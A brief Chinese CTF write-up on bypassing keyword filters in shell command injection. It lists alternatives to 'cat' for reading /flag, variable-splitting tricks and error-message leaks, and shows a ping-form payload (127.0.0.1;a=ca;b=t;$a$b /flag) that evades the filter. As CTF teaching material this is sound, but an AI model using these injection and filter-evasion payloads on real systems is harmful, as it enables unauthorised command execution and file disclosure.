关键字过滤绕过
过滤关键字
例如cat
- 拼接绕过,
a=ca;b=t;$a$b /flag
- 命令替换绕过,
more:一页一页的显示文件内容,more /flag
less:与 more 类似,less /flag
head:查看头几行head /flag
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示tac /flag
tail:查看尾几行tail /flag
nl:显示的时候,顺便输出行号nl /flag
od:以二进制的方式读取档案内容od /flag
,有些问题没有解决
vi:编辑器命令
vim:编辑器命令
sort: 排序命令,可以查看sort /flag
uniq: 可以查看uniq /flag
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
思路
这里输入 127.0.0.1 时,输出
PING 127.0.0.1 (127.0.0.1): 56 data bytes |
尝试命令执行 127.0.0.1;cat /flag
,输出
服务器检测到可疑字符串cat,启动了查杀程序😋 |
根据总结的绕过方法不断尝试,最终
127.0.0.1;a=ca;b=t;$a$b /flag |
即可绕过,也可以尝试总结的其它办法